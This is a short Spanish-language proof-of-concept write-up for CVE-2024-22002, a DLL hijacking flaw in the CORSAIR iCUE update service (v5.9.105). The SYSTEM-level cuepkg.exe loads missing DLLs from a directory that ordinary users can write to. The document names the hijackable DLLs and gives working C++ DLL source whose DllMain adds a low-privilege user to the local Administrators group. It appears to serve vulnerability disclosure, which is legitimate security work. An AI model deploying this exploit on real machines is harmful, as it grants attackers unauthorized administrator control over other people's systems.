
Prueba de concepto del exploit para CVE-2024-22002, que demuestra la escalada local de privilegios mediante el secuestro de DLL en el servicio de actualización de CORSAIR iCUE para ejecutar código como SYSTEM.
Se ha identificado una vulnerabilidad de DLL Hijacking en iCUE v5.9.105. Esta vulnerabilidad ocurre durante el proceso de actualización, gestionado por el servicio "iCUEUpdateService". El servicio inicia un proceso ("cuepkg.exe") encargado de realizar la actualización, ejecutándose con privilegios "NT AUTHORITY\SYSTEM". Al iniciar el proceso, busca varias DLL en el directorio \cuepkg-1.2.6, ubicado dentro del directorio de instalación de iCUE. Algunas de estas DLL no están presentes por defecto, pero como un usuario normal tiene privilegios para crear archivos en ese directorio, un atacante podría introducir una DLL maliciosa en el directorio. En consecuencia, esta DLL maliciosa sería cargada por cuepkg.exe con privilegios de Administrador.
Las DLL afectadas detectadas son las siguientes:
MSASN1.dllNTASN1.dllprofapi.dllVector CVSS: (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
Como ejemplo, se tomará la DLL profapi.dll.
%INSTALLDIR%cuepkg-1.2.6.Privilegios del usuario lowpriv antes de que se ejecute la DLL maliciosa:

Privilegios del usuario lowpriv después de que se ejecute la DLL maliciosa:

#include "pch.h"
#include <windows.h>
#include <cstdlib>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
{
system("net localgroup Administrators desktop-ckfiane\\lowpriv /add");
}
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}